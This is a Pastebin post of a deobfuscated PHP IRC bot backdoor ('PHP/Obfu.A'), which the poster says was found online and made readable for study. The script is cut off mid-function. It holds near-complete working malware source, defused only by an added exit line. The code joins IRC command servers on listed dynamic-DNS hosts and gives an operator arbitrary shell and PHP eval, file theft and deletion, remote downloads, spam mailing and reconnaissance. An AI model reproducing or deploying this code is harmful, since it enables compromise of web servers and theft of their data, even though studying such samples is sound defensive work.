SHARE
TWEET

Untitled

a guest Jan 31st, 2008 275 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. // "PHP/Obfu.A"
  3. // Found on Google (http://www.google.com/search?q=%24ra87deb01c5f53&num=20&hl=en&safe=off&filter=0)
  4. // I have no clue if it runs, didn't test it, just wanted to see how it worked so I made it readable.
  5. exit('no...');
  6.  
  7. ini_set("max_execution_time", 0);
  8. ini_set('output_buffering', 0);
  9.  
  10. $settings = array(
  11.         "po" => 8080,                                           // Port
  12.         "sp" => "uJijk4iVsIXRmQ==",                             // Server Password, secretpass
  13.         "ch" => "aFaw",                                         // Channel, ##p
  14.         "ke" => "spd1iYSUqA==",                                 // Channel Key, md5hash
  15.         "ha" => "dG1qQk1halK/nE6N",                             // Admin host RegEx, /:*!*@*.av$/
  16.         "pa" => "fpekVYhVdlWQXGLBXnBWWId1hll1WVWJVFpYh1tahVs=", // Admin password (md5 hash), 9dd4e461268c8034f5c8564e155c67a6
  17.         "tr" => "*",                                            // Command prefix
  18.         "mrnd" => 9,                                            // Nick/User length
  19.         "mo" => "cqtrig==",                                     // -x+i
  20.         "ve" => "dmFyWA=="                                      // 1.27
  21. );
  22.  
  23. function remove_spaces($input)
  24. {
  25.         $input = str_replace(" ", "", $input);
  26.         return $input;
  27. }
  28.  
  29. function decode($input)
  30. {
  31.         $input = base64_decode(remove_spaces($input));
  32.         return $input;
  33. }
  34.  
  35. function connect()
  36. {
  37.         global $settings;
  38.         $logged_in = array(
  39.         );
  40.  
  41.         $last_line = "";
  42.         $servers = array(
  43.                 "sqytlpaKo4a/lI6MnaWIiI+zUYSvkA==",             // mymusicband.weedns.com
  44.                 "sqywiZKPpZLTk4zDmG6aiYakkZRuhpCR",             // myphonenumber.weedns.com
  45.                 "rpihlYyTr5LWVKHDi6SRl0+jko4=",                 // ieatironx.weedns.com
  46.                 "rZytgpFPr5TDlI7MmW6FiQ==",                             // himan.opendns.be
  47.                 "sKJuhYdPopDTi5bHlKVRhoY=",                             // ko.dd.blueline.be
  48.                 "tWeuVFZSclfDVI7CVKKPmYasjI+lUYOJ",             // p4n33123e.dd.blueline.be
  49.                 "vaOokJFUbpPOi5jClLNRhoY=",                             // xphon3.opendns.be
  50.                 "sqywiZKPpVeMipjHlm6RiZU=",                             // myphone3.dnip.net
  51.                 "sqytlpaKo5eMipjHlm6RiZU="                              // mymusics.dnip.net
  52.         );
  53.  
  54.         shuffle($servers);
  55.  
  56.         if (($socket = fsockopen(decrypt_settings($servers[0]), $settings['po'], $errorno, $errorstr, 15))) {
  57.                 $current_nick = generate_nick($settings['mrnd']);
  58.  
  59.                 if (strlen($settings['sp']) > 0) {
  60.                         // UEFTUw==: PASS
  61.                         write_file($socket, decode("UEFTUw=="). " " . decrypt_settings($settings['sp']));
  62.                 }
  63.  
  64.                 // VVNFUg==: USER
  65.                 write_file($socket, decode("VVNFUg=="). " " . generate_user($settings['mrnd']).
  66.                         " 127.0.0.1 localhost :$current_nick");
  67.  
  68.                 // TklDSw==: NICK
  69.                 write_file($socket, decode("TklDSw=="). " $current_nick");
  70.  
  71.                 while (!feof($socket)) {
  72.                         $line = trim(fgets($socket, 512));
  73.                         $irc_params = explode(" ", $line);
  74.  
  75.                         if (($line == $last_line))
  76.                                 continue;
  77.  
  78.                         // UElORw==: PING
  79.                         if (isset($irc_params[0]) && $irc_params[0] == decode("UElORw==")) {
  80.                                 // UE9ORw==: PONG
  81.                                 write_file($socket, decode("UE9ORw=="). " " . $irc_params[1]);
  82.                         }
  83.                         else if (isset($irc_params[1]) && $irc_params[1] == decode("MDAx")) {
  84.                                 // TU9ERQ==: MODE
  85.                                 write_file($socket, decode("TU9ERQ=="). " $current_nick " . decrypt_settings($settings['mo']));
  86.  
  87.                                 // Sk9JTg==: JOIN
  88.                                 write_file($socket, decode("Sk9JTg=="). " " . decrypt_settings($settings['ch']). " " .
  89.                                         decrypt_settings($settings['ke']));
  90.                         }
  91.                         else if (isset($params[1]) && $params[1] == decode("NDMz")) {
  92.                                 // TklDSw==: NICK
  93.                                 write_file($socket, decode("TklDSw=="). " $current_nick");
  94.                         }
  95.                         else if (isset($irc_params[1]) && isset($logged_in[$irc_params[1]])) {
  96.                                 unset($logged_in[$irc_params[1]]);
  97.                         }
  98.                         // UFJJVk1TRw==: PRIVMSG
  99.                         else if (isset($irc_params[1]) && ($irc_params[1] == decode("UFJJVk1TRw==") || $irc_params[1] == "332")) {
  100.                                 $full_params = strstr($line, " :");
  101.                                 $full_params = substr($full_params, 2);
  102.                                 $params = explode(" ", $full_params);
  103.                                 $target_host = $irc_params[0];
  104.                                 $target_nick = explode("!", $target_host);
  105.                                 $target_nick = substr($target_nick[0], 1);
  106.                                 $silent = FALSE;
  107.  
  108.                                 // VkVSU0lPTg==: VERSION
  109.                                 if ($params[0] == "\1" . decode("VkVSU0lPTg=="). "\1") {
  110.                                         // VkVSU0lPTg==: VERSION
  111.                                         write_file($socket, "NOTICE " . $target_nick . " :\1" . decode("VkVSU0lPTg=="). " " .
  112.                                                 decrypt_settings($settings['ve']). "\1");
  113.                                 }
  114.  
  115.                                 for ($i = 0; $i < count($params); $i++) {
  116.                                         if ($params[$i] == "-s") {
  117.                                                 $silent = TRUE;
  118.                                         }
  119.                                 }
  120.  
  121.                                 if ($irc_params[1] == "332") {
  122.                                         $target = $irc_params[3];
  123.                                 }
  124.                                 elseif ($irc_params[2] == $current_nick) {
  125.                                         $target = $target_nick;
  126.                                 }
  127.                                 else {
  128.                                         $target = $irc_params[2];
  129.                                 }
  130.  
  131.                                 if ($params[0] == PHP_OS) {
  132.                                         array_shift($params);
  133.                                 }
  134.  
  135.                                 if (substr($params[0], 0, 1) == $settings['tr']) {
  136.                                         if (isset($logged_in[$target_host]) || $irc_params[1] == "332") {
  137.                                                 switch (substr($params[0], 1)) {
  138.                                                         // sKM=: lo
  139.                                                         case decrypt_command("sKM="):
  140.                                                                 if ($irc_params[1] != "332") {
  141.                                                                         $logged_in[$target_host] = FALSE;
  142.                                                                        
  143.                                                                         // I'm not sure what is up with this, looks like a bug, htmen is not a function
  144.                                                                         send_irc_message($socket, $silent, $target, htmen("b3V0"));
  145.                                                                 }
  146.                                                                 break;
  147.  
  148.                                                         // qGWaoKKb: d1enow
  149.                                                         case decrypt_command("qGWaoKKb"):
  150.                                                                 // UVVJVCA6SSBRVUlU: QUIT :I QUIT
  151.                                                                 write_file($socket, decode("UVVJVCA6SSBRVUlU"));
  152.                                                                 fclose($socket);
  153.                                                                 exit(0);
  154.                                                                 break;
  155.  
  156.                                                         // tpWs: raw
  157.                                                         case decrypt_command("tpWs"):
  158.                                                                 if (count($params) > 1) {
  159.                                                                         write_file($socket, substr($full_params, strlen($params[0])));
  160.                                                                 }
  161.                                                                 break;
  162.  
  163.                                                         // sKc=: ls
  164.                                                         case decrypt_command("sKc="):
  165.                                                                 if (isset($params[1])) {
  166.                                                                         $directory = $params[1];
  167.                                                                 }
  168.                                                                 else {
  169.                                                                         $directory = getcwd();
  170.                                                                 }
  171.  
  172.                                                                 if (is_dir($directory)) {
  173.                                                                         if (($handle = opendir($directory))) {
  174.                                                                                 // RGlyLy8gTm93...: Dir// Now listing:
  175.                                                                                 send_irc_message($socket, $silent, $target, decode("RGlyLy8gTm93IGxpc3Rpbmc6"). " \2" .
  176.                                                                                         $directory . "\2");
  177.  
  178.                                                                                 while (($file = readdir($handle)) !== FALSE) {
  179.                                                                                         if ($file != "." && $file != "..") {
  180.                                                                                                 send_irc_message($socket, $silent, $target, "> (" . filetype($directory . "/" .
  181.                                                                                                         $file). ") $file");
  182.                                                                                                 sleep(1);
  183.                                                                                         }
  184.                                                                                 }
  185.  
  186.                                                                                 closedir();
  187.                                                                         }
  188.                                                                         else {
  189.                                                                                 // RGlyLy8gVW5h...: Dir// Unable to list contents of
  190.                                                                                 send_irc_message($socket, $silent, $target,
  191.                                                                                         decode("RGlyLy8gVW5hYmxlIHRvIGxpc3QgY29udGVudHMgb2Y="). " \2" . $directory . "\2");
  192.                                                                         }
  193.                                                                 }
  194.                                                                 else {
  195.                                                                         // RGlyLy8=: Dir//
  196.                                                                         // aXMgbm90IGEgZGlyIQ==: is not a dir!
  197.                                                                         send_irc_message($socket, $silent, $target, decode("RGlyLy8="). " \2" . $directory . "\2 " .
  198.                                                                                 decode("aXMgbm90IGEgZGlyIQ=="));
  199.                                                                 }
  200.                                                                 break;
  201.  
  202.                                                         // p5Wp: cat
  203.                                                         case decrypt_command("p5Wp"):
  204.                                                                 if (count($params) > 1) {
  205.                                                                         if (is_file($params[1])) {
  206.                                                                                 if (($file_handle = fopen($params[1], "r"))) {
  207.                                                                                         // Q0FULy8gTm93IHJlYWRpbmcgZmlsZTo=: CAT// Now reading file:
  208.                                                                                         send_irc_message($socket, $silent, $target, decode("Q0FULy8gTm93IHJlYWRpbmcgZmlsZTo=").
  209.                                                                                                 " \2" . $params[1]. "\2");
  210.  
  211.                                                                                         while (!feof($file_handle)) {
  212.                                                                                                 $file_line = trim(fgets($file_handle, 256));
  213.                                                                                                 send_irc_message($socket, $silent, $target, "> $file_line");
  214.                                                                                                 sleep(1);
  215.                                                                                         }
  216.  
  217.                                                                                         send_irc_message($socket, $silent, $target, "> [EOF]");
  218.                                                                                 }
  219.                                                                                 else {
  220.                                                                                         // Q0FULy8gQ291bGRuJ3Qgb3Blbg==: CAT// Couldn't open
  221.                                                                                         send_irc_message($socket, $silent, $target, decode("Q0FULy8gQ291bGRuJ3Qgb3Blbg==").
  222.                                                                                                 " \2" . $params[1]. "\2 for reading.");
  223.                                                                                 }
  224.                                                                         }
  225.                                                                         else {
  226.                                                                                 // Q0FULy8=: CAT//
  227.                                                                                 // aXMgbm90IGEgZmlsZQ==: is not a file
  228.                                                                                 send_irc_message($socket, $silent, $target, decode("Q0FULy8="). " \2" . $params[1]. "\2 " .
  229.                                                                                         decode("aXMgbm90IGEgZmlsZQ=="));
  230.                                                                         }
  231.                                                                 }
  232.                                                                 break;
  233.  
  234.                                                         // tKuZ: pwd
  235.                                                         case decrypt_command("tKuZ"):
  236.                                                                 // UFdELy8gQ3VycmVudCBkaXI6: PWD// Current dir:
  237.                                                                 send_irc_message($socket, $silent, $target, decode("UFdELy8gQ3VycmVudCBkaXI6"). " " . getcwd());
  238.                                                                 break;
  239.  
  240.                                                         // p5g=: cd
  241.                                                         case decrypt_command("p5g="):
  242.                                                                 if (count($params) > 1) {
  243.                                                                         if (chdir($params[1])) {
  244.                                                                                 // Q0QvLyBDaGFuZ2VkIGRpciB0bw==: CD// Changed dir to
  245.                                                                                 send_irc_message($socket, $silent, $target, decode("Q0QvLyBDaGFuZ2VkIGRpciB0bw=="). " " .
  246.                                                                                         $params[1]);
  247.                                                                         }
  248.                                                                         else {
  249.                                                                                 // Q0QvLyBGYWlsZWQgdG8gY2hhbmdlIGRpcg==: CD// Failed to change dir
  250.                                                                                 send_irc_message($socket, $silent, $target, decode("Q0QvLyBGYWlsZWQgdG8gY2hhbmdlIGRpcg=="));
  251.                                                                         }
  252.                                                                 }
  253.                                                                 break;
  254.  
  255.                                                         // tqE=: rm
  256.                                                         case decrypt_command("tqE="):
  257.                                                                 if (count($params) > 1) {
  258.                                                                         if (unlink($params[1])) {
  259.                                                                                 // Uk0vLyBEZWxldGVk: RM// Deleted
  260.                                                                                 send_irc_message($socket, $silent, $target, decode("Uk0vLyBEZWxldGVk"). " \2" .
  261.                                                                                         $params[1]. "\2");
  262.                                                                         }
  263.                                                                         else {
  264.                                                                                 // Uk0vLyBGYWlsZWQgdG8gZGVsZXRl: RM// Failed to delete
  265.                                                                                 send_irc_message($socket, $silent, $target, decode("Uk0vLyBGYWlsZWQgdG8gZGVsZXRl").
  266.                                                                                         " \2" . $params[1]. "\2");
  267.                                                                         }
  268.                                                                 }
  269.                                                                 break;
  270.  
  271.                                                         // uKOqlZs=: touch
  272.                                                         case decrypt_command("uKOqlZs="):
  273.                                                                 if (count($params) > 1) {
  274.                                                                         if (touch($params[1])) {
  275.                                                                                 // VG91Y2gvLyBUb3VjaGVk: Touch// Touched
  276.                                                                                 send_irc_message($socket, $silent, $target, decode("VG91Y2gvLyBUb3VjaGVk"). " \2" .
  277.                                                                                         $params[1]. "\2");
  278.                                                                         }
  279.                                                                         else {
  280.                                                                                 // VG91Y2gvLyBGYWlsZWQgdG8gdG91Y2g=: Touch// Failed to touch
  281.                                                                                 send_irc_message($socket, $silent, $target, decode("VG91Y2gvLyBGYWlsZWQgdG8gdG91Y2g=").
  282.                                                                                         " \2" . $params[1]. "\2");
  283.                                                                         }
  284.                                                                 }
  285.                                                                 break;
  286.  
  287.                                                         // t62inpySoA==: symlink
  288.                                                         case decrypt_command("t62inpySoA=="):
  289.                                                                 if (count($params) > 2) {
  290.                                                                         if (symlink($params[1], $params[2])) {
  291.                                                                                 // U3ltTGluay8vIFN5bWxpbmtlZA==: SymLink// Symlinked
  292.                                                                                 send_irc_message($socket, $silent, $target, decode("U3ltTGluay8vIFN5bWxpbmtlZA==").
  293.                                                                                         " \2" . $params[2]. "\2 To \2" . $params[1]. "\2");
  294.                                                                         }
  295.                                                                         else {
  296.                                                                                 // U3ltTGluay8vIEZhaWxlZCB0byBsaW5r: SymLink// Failed to link
  297.                                                                                 send_irc_message($socket, $silent, $target, decode("U3ltTGluay8vIEZhaWxlZCB0byBsaW5r").
  298.                                                                                         " \2" . $params[2]. "\2 To \2" . $params[1]. "\2");
  299.                                                                         }
  300.                                                                 }
  301.                                                                 break;
  302.  
  303.                                                         // p5ykqaE=: chown
  304.                                                         case decrypt_command("p5ykqaE="):
  305.                                                                 if (count($params) > 2) {
  306.                                                                         if (chown($params[1], $params[2])) {
  307.                                                                                 // Q2hvd24vLyBDaG93bmVk: Chown// Chowned
  308.                                                                                 send_irc_message($socket, $silent, $target, decode("Q2hvd24vLyBDaG93bmVk").
  309.                                                                                         " \2" . $params[1]. "\2 To \2" . $params[2]. "\2");
  310.                                                                         }
  311.                                                                         else {
  312.                                                                                 // Q2hvd24vLyBGYWlsZWQgdG8gY2hvd24=: Chown// Failed to chown
  313.                                                                                 send_irc_message($socket, $silent, $target, decode("Q2hvd24vLyBGYWlsZWQgdG8gY2hvd24=").
  314.                                                                                         " \2" . $params[1]. "\2 To \2" . $params[2]. "\2");
  315.                                                                         }
  316.                                                                 }
  317.                                                                 break;
  318.  
  319.                                                         // p5yioZc=: chmod
  320.                                                         case decrypt_command("p5yioZc="):
  321.                                                                 if (count($params) > 2) {
  322.                                                                         if (chmod($params[1], $params[2])) {
  323.                                                                                 // Q2htb2QvLyBDaG1vZGRlZA==: Chmod// Chmodded
  324.                                                                                 send_irc_message($socket, $silent, $target, decode("Q2htb2QvLyBDaG1vZGRlZA==").
  325.                                                                                         " \2" . $params[1]. "\2 with permissions \2" . $params[2]. "\2");
  326.                                                                         }
  327.                                                                         else {
  328.                                                                                 // Q2htb2QvLyBGYWlsZWQgdG8gY2htb2Q=: Chmod// Failed to chmod
  329.                                                                                 send_irc_message($socket, $silent, $target, decode("Q2htb2QvLyBGYWlsZWQgdG8gY2htb2Q=").
  330.                                                                                         " \2" . $params[1]. "\2");
  331.                                                                         }
  332.                                                                 }
  333.                                                                 break;
  334.  
  335.                                                         // sZ+Zm6U=: mkdir
  336.                                                         case decrypt_command("sZ+Zm6U="):
  337.                                                                 if (count($params) > 1) {
  338.                                                                         if (mkdir($params[1])) {
  339.                                                                                 // TUtEaXIvLyBDcmVhdGVkIGRpcmVjdG9yeQ==: MKDir// Created directory
  340.                                                                                 send_irc_message($socket, $silent, $target, decode("TUtEaXIvLyBDcmVhdGVkIGRpcmVjdG9yeQ==").
  341.                                                                                         " \2" . $params[1]. "\2");
  342.                                                                         }
  343.                                                                         else {
  344.                                                                                 // TUtEaXIvLyBGYWlsZWQgdG8gY3JlYXRlIGRpcmVjdG9yeQ==: MKDir// Failed to create directory
  345.                                                                                 send_irc_message($socket, $silent, $target,
  346.                                                                                         decode("TUtEaXIvLyBGYWlsZWQgdG8gY3JlYXRlIGRpcmVjdG9yeQ=="). " \2" . $params[1]. "\2");
  347.                                                                         }
  348.                                                                 }
  349.                                                                 break;
  350.  
  351.                                                         // tqGZm6U=: rmdir
  352.                                                         case decrypt_command("tqGZm6U="):
  353.                                                                 if (count($params) > 1) {
  354.                                                                         if (rmdir($params[1])) {
  355.                                                                                 // Uk1EaXIvLyBSZW1vdmVkIGRpcmVjdG9yeQ==: RMDir// Removed directory
  356.                                                                                 send_irc_message($socket, $silent, $target, decode("Uk1EaXIvLyBSZW1vdmVkIGRpcmVjdG9yeQ==").
  357.                                                                                         " \2" . $params[1]. "\2");
  358.                                                                         }
  359.                                                                         else {
  360.                                                                                 // Uk1EaXIvLyBGYWlsZWQgdG8gcmVtb3ZlIGRpcmVjdG9yeQ==: RMDir// Failed to remove directory
  361.                                                                                 send_irc_message($socket, $silent, $target,
  362.                                                                                         decode("Uk1EaXIvLyBGYWlsZWQgdG8gcmVtb3ZlIGRpcmVjdG9yeQ=="). " \2" . $params[1]. "\2");
  363.                                                                         }
  364.                                                                 }
  365.                                                                 break;
  366.  
  367.                                                         // p6Q=: cp
  368.                                                         case decrypt_command("p6Q="):
  369.                                                                 if (count($params) > 2) {
  370.                                                                         if (copy($params[1], $params[2])) {
  371.                                                                                 // Q1AvLyBDb3BpZWQ=: CP// Copied
  372.                                                                                 send_irc_message($socket, $silent, $target, decode("Q1AvLyBDb3BpZWQ="). " \2" . $params[1].
  373.                                                                                         "\2 to \2" . $params[2]. "\2");
  374.                                                                         }
  375.                                                                         else {
  376.                                                                                 // Q1AvLyBGYWlsZWQgdG8gY29weQ==: CP// Failed to copy
  377.                                                                                 send_irc_message($socket, $silent, $target, decode("Q1AvLyBGYWlsZWQgdG8gY29weQ=="). " \2" .
  378.                                                                                         $params[1]. "\2 to \2" . $params[2]. "\2");
  379.                                                                         }
  380.                                                                 }
  381.                                                                 break;
  382.  
  383.                                                         // sZWeng==: mail
  384.                                                         case decrypt_command("sZWeng=="):
  385.                                                                 if (count($params) > 4) {
  386.                                                                         $from = "From: <" . $params[2]. ">\r\n";
  387.  
  388.                                                                         if (mail($params[1], $params[3], substr($full_params, $params[4]), $from)) {
  389.                                                                                 // TWFpbC8v: Mail//
  390.                                                                                 send_irc_message($socket, $silent, $target, decode("TWFpbC8v"). " Message sent to \2" .
  391.                                                                                         $params[1]. "\2");
  392.                                                                         }
  393.                                                                         else {
  394.                                                                                 // TWFpbC8v: Mail//
  395.                                                                                 send_irc_message($socket, $silent, $target, decode("TWFpbC8v"). " Send failure");
  396.                                                                         }
  397.                                                                 }
  398.                                                                 break;
  399.  
  400.                                                         // sZ+ilmg=: mkmd5
  401.                                                         case decrypt_command("sZ+ilmg="):
  402.                                                                 // TUQ1Ly8=: MD5//
  403.                                                                 send_irc_message($socket, $silent, $target, decode("TUQ1Ly8="). " " . md5($params[1]));
  404.                                                                 break;
  405.  
  406.                                                         // qKKo: dns
  407.                                                         case decrypt_command("qKKo"):
  408.                                                                 if (isset($params[1])) {
  409.                                                                         $ip_array = explode(".", $params[1]);
  410.  
  411.                                                                         if (count($ip_array) == 4 && is_numeric($ip_array[0]) && is_numeric($ip_array[1]) &&
  412.                                                                                 is_numeric($ip_array[2]) && is_numeric($ip_array[3])) {
  413.                                                                                 // RE5TLy8=: DNS//
  414.                                                                                 send_irc_message($socket, $silent, $target, decode("RE5TLy8="). " " . $params[1]. " -> " .
  415.                                                                                         gethostbyaddr($params[1]));
  416.                                                                         }
  417.                                                                         else {
  418.                                                                                 // RE5TLy8=: DNS//
  419.                                                                                 send_irc_message($socket, $silent, $target, decode("RE5TLy8="). " " . $params[1]. " -> " .
  420.                                                                                         gethostbyname($params[1]));
  421.                                                                         }
  422.                                                                 }
  423.                                                                 break;
  424.  
  425.                                                         // tpmoppSWqQ==: restart
  426.                                                         case decrypt_command("tpmoppSWqQ=="):
  427.                                                                 // UVVJVCA6UVVJVC4uLg==: QUIT :QUIT...
  428.                                                                 write_file($socket, decode("UVVJVCA6UVVJVC4uLg=="));
  429.                                                                 fclose($socket);
  430.                                                                 connect();
  431.                                                                 break;
  432.  
  433.                                                         // tqI=: rn
  434.                                                         case decrypt_command("tqI="):
  435.                                                                 if (isset($params[1])) {
  436.                                                                         $current_nick = generate_nick((int)$params[1]);
  437.  
  438.                                                                         // TklDSw==: NICK
  439.                                                                         write_file($socket, decode("TklDSw=="). " $current_nick");
  440.                                                                 }
  441.                                                                 else {
  442.                                                                         $current_nick = generate_nick($settings['mrnd']);
  443.  
  444.                                                                         // TklDSw==: NICK
  445.                                                                         write_file($socket, decode("TklDSw=="). " $current_nick");
  446.                                                                 }
  447.                                                                 break;
  448.  
  449.                                                         // tJyl: php
  450.                                                         case decrypt_command("tJyl"):
  451.                                                                 if (count($params) > 1) {
  452.                                                                         eval(substr($full_params, strlen($params[0])));
  453.                                                                 }
  454.                                                                 break;
  455.  
  456.                                                         // q5mp: get
  457.                                                         case decrypt_command("q5mp"):
  458.                                                                 if (count($params) > 2) {
  459.                                                                         if (!($file_handle = fopen($params[2], "w"))) {
  460.                                                                                 // R2V0Ly8gUGVybWlzc2lvbiBkZW5pZWQ=: Get// Permission denied
  461.                                                                                 send_irc_message($socket, $silent, $target,
  462.                                                                                         decode("R2V0Ly8gUGVybWlzc2lvbiBkZW5pZWQ="));
  463.                                                                         }
  464.                                                                         else {
  465.                                                                                 if (!($file_array = file($params[1]))) {
  466.                                                                                         // R2V0Ly8gUGVybWlzc2lvbiBkZW5pZWQ=: Get// Bad URL/DNS error
  467.                                                                                         send_irc_message($socket, $silent, $target,
  468.                                                                                                 decode("R2V0Ly8gQmFkIFVSTC9ETlMgZXJyb3I="));
  469.                                                                                 }
  470.                                                                                 else {
  471.                                                                                         for ($i = 0; $i < count($file_array); $i++) {
  472.                                                                                                 fwrite($file_handle, $file_array[$i]);
  473.                                                                                         }
  474.  
  475.                                                                                         // R2V0Ly8=: Get//
  476.                                                                                         send_irc_message($socket, $silent, $target, decode("R2V0Ly8=").
  477.                                                                                                 " \2" . $params[1]. "\2 downloaded to \2" . $params[2]. "\2");
  478.                                                                                 }
  479.                                                                                 fclose($file_handle);
  480.                                                                         }
  481.                                                                 }
  482.                                                                 break;
  483.  
  484.                                                         // sp0=: ni
  485.                                                         case decrypt_command("sp0="):
  486.                                                                 // TmV0SW5mby8v: NetInfo//
  487.                                                                 send_irc_message($socket, $silent, $target, decode("TmV0SW5mby8v"). " IP: " . $_SERVER['SERVER_ADDR'].
  488.                                                                         " Hostname: " . $_SERVER['SERVER_NAME']);
  489.                                                                 break;
  490.  
  491.                                                         // t50=: si
  492.                                                         case decrypt_command("t50="):
  493.                                                                 // U3lzaW5mby8v: Sysinfo//
  494.                                                                 send_irc_message($socket, $silent, $target, decode("U3lzaW5mby8v"). " [User: " . get_current_user().
  495.                                                                         "] [PID: " . getmypid(). "] [Version: PHP " . phpversion(). "] [OS: " . PHP_OS .
  496.                                                                         "] [Server_software: " . $_SERVER['SERVER_SOFTWARE']. "] [Server_name: " . $_SERVER['SERVER_NAME'].
  497.                                                                         "] [Admin: " . $_SERVER['SERVER_ADMIN']. "] [Docroot: " . $_SERVER['DOCUMENT_ROOT']. "] [HTTP Host:
  498.                                                                         " . $_SERVER['HTTP_HOST']. "] [URL: " . $_SERVER['REQUEST_URI']. "]");
  499.                                                                 break;
  500.  
  501.                                                         // tKOnpqKUmuw=: portopen
  502.                                                         case decrypt_command("tKOnpqKUmuw="):
  503.                                                                 if (isset($params[1], $params[2])) {
  504.                                                                         if (fsockopen($params[1], (int)$params[2], $t56bd7107802eb, $errorstr, 5)) {
  505.                                                                                 // UG9ydENoay8v: PortChk//
  506.                                                                                 send_irc_message($socket, $silent, $target, "" . decode("UG9ydENoay8v"). " " . $params[1].
  507.                                                                                         ":" . $params[2]. " is \2Open\2");
  508.                                                                         }
  509.                                                                         else {
  510.                                                                                 // UG9ydENoay8v: PortChk//
  511.                                                                                 send_irc_message($socket, $silent, $target, "" . decode("UG9ydENoay8v"). " " . $params[1].
  512.                                                                                         ":" . $params[2]. " is \2Closed\2");
  513.                                                                         }
  514.                                                                 }
  515.                                                                 break;
  516.  
  517.                                                         // uaKWn5g=: uname
  518.                                                         case decrypt_command("uaKWn5g="):
  519.                                                                 // VW5hbWUvLw==: Uname//
  520.                                                                 send_irc_message($socket, $silent, $target, decode("VW5hbWUvLw=="). " " . php_uname());
  521.                                                                 break;
  522.  
  523.                                                         // rZg=: id
  524.                                                         case decrypt_command("rZg="):
  525.                                                                 // SUQvLw==: ID//
  526.                                                                 send_irc_message($socket, $silent, $target, decode("SUQvLw=="). " " . getmypid());
  527.                                                                 break;
  528.  
  529.                                                         // p6GZ: cmd
  530.                                                         case decrypt_command("p6GZ"):
  531.                                                                 if (count($params) > 1) {
  532.                                                                         $process_handle = popen(substr($full_params, strlen($params[0])), "r");
  533.  
  534.                                                                         while (!feof($process_handle)) {
  535.                                                                                 $output = trim(fgets($process_handle, 512));
  536.  
  537.                                                                                 if (strlen($output) > 0) {
  538.                                                                                         send_irc_message($socket, $silent, $target, "> " . $output);
  539.                                                                                         sleep(1);
  540.                                                                                 }
  541.                                                                         }
  542.  
  543.                                                                         // PiBbRU9GXQ==: > [EOF]
  544.                                                                         send_irc_message($socket, $silent, $target, decode("PiBbRU9GXQ=="));
  545.                                                                 }
  546.                                                                 break;
  547.  
  548.                                                         // qayalaiYmg==: execute
  549.                                                         case decrypt_command("qayalaiYmg=="):
  550.                                                                 execute(substr($full_params, strlen($params[0])));
  551.                                                                 break;
  552.                                                 }
  553.                                         }
  554.                                         else {
  555.                                                 switch (substr($params[0], 1)) {
  556.                                                         // bg==: *
  557.                                                         case decrypt_command("bg=="):
  558.                                                                 if (isset($params[1]) &&
  559.                                                                         md5($params[1]) == decrypt_settings($settings['pa']) &&
  560.                                                                         preg_match(decrypt_settings($settings['ha']), $target_host)) {
  561.  
  562.                                                                         // UmVhZHkvLyBPaw==: Ready// Ok
  563.                                                                         send_irc_message($socket, $silent, $target, decode("UmVhZHkvLyBPaw=="));
  564.                                                                         $logged_in[$target_host] = TRUE;
  565.                                                                 }
  566.                                                                 else {
  567.                                                                         // UmVhZHkvLyByZWplY3RlZA==: Ready// rejected
  568.                                                                         send_irc_message($socket, FALSE, decrypt_settings($settings['ch']),
  569.                                                                                 decode("UmVhZHkvLyByZWplY3RlZA=="));
  570.                                                                 }
  571.  
  572.                                                                 break;
  573.                                                 }
  574.                                         }
  575.                                 }
  576.                         }
  577.  
  578.                         $last_line = $line;
  579.                 }
  580.  
  581.                 fclose($socket);
  582.                 sleep(3);
  583.                 connect();
  584.         }
  585.         else {
  586.                 shuffle($servers);
  587.                 connect();
  588.         }
  589. }
  590.  
  591. function write_file($handle, $text)
  592. {
  593.         fwrite($handle, "$text\r\n");
  594. }
  595.  
  596. function send_irc_message($socket, $silent, $target, $text)
  597. {
  598.         if ($silent != TRUE) {
  599.                 // UFJJVk1TRw==: PRIVMSG
  600.                 write_file($socket, decode("UFJJVk1TRw=="). " $target :$text");
  601.         }
  602. }
  603.  
  604. function decrypt_command($input)
  605. {
  606.         $output = '';
  607.         $input = base64_decode($input);
  608.  
  609.         for ($i = 0; $i < strlen($input); $i++) {
  610.                 $character = substr($input, $i, 1);
  611.                 // NDU...: 4523$5~321443425^fdGsdfG#$6@353@$5@#$5@54475&45&6%7%^^8^&*@!~#4~23432$@#!4!23$3%34%2#$5#@$5234%6%4678^&!@3D
  612.                 // Strlen: 107
  613.                 $offset_character = substr(
  614.                         decode("NDUyMyQ1fjMyMTQ0MzQyNV5mZEdzZGZHIyQ2QDM1M0AkNUAjJDVANTQ0NzUmNDUmNiU3JV5eOF4mKkAhfiM0fjIzNDM" .
  615.                                 "yJEAjITQhMjMkMyUzNCUyIyQ1I0AkNTIzNCU2JTQ2NzheJiFAM0Q="),
  616.                         ($i % strlen(decode("NDUyMyQ1fjMyMTQ0MzQyNV5mZEdzZGZHIyQ2QDM1M0AkNUAjJDVANTQ0NzUmNDUmNiU3JV5eOF4mKk" .
  617.                                 "AhfiM0fjIzNDMyJEAjITQhMjMkMyUzNCUyIyQ1I0AkNTIzNCU2JTQ2NzheJiFAM0Q="))) - 1,
  618.                         1
  619.                 );
  620.                 $character = chr(ord($character) - ord($offset_character));
  621.                 $output .= $character;
  622.         }
  623.         return $output;
  624. }
  625.  
  626. function generate_nick($length)
  627. {
  628.         $return = '';
  629.        
  630.         for ($i = 0; $i < $length; $i++) {
  631.                 $return .= chr(mt_rand(0, 25) + 97);
  632.         }
  633.         if (posix_getegid() == 0) {
  634.                 $return = "r-" . $t2cb9df9898e55;
  635.         }
  636.         return $return;
  637. }
  638.  
  639. function execute($command)
  640. {
  641.         $output = '';
  642.  
  643.         if (!empty($command)) {
  644.                 if (function_exists('exec')) {
  645.                         @exec($command, $output);
  646.                         $output = join("\n", $output);
  647.                 }
  648.                 elseif (function_exists('shell_exec')) {
  649.                         $output = @shell_exec($command);
  650.                 }
  651.                 elseif (function_exists('system')) {
  652.                         @ob_start();
  653.                         @system($command);
  654.                         $output = @ob_get_contents();
  655.                         @ob_end_clean();
  656.                 }
  657.                 elseif (function_exists('passthru')) {
  658.                         @ob_start();
  659.                         @passthru($command);
  660.                         $output = @ob_get_contents();
  661.                         @ob_end_clean();
  662.                 }
  663.                 elseif (@is_resource($handle = @popen($command, "r"))) {
  664.                         $output = "";
  665.  
  666.                         while (!@feof($handle)) {
  667.                                 $output .= @fread($handle, 1024);
  668.                         }
  669.  
  670.                         @pclose($handle);
  671.                 }
  672.         }
  673.         return $output;
  674. }
  675.  
  676. function decrypt_settings($input)
  677. {
  678.         $output = '';
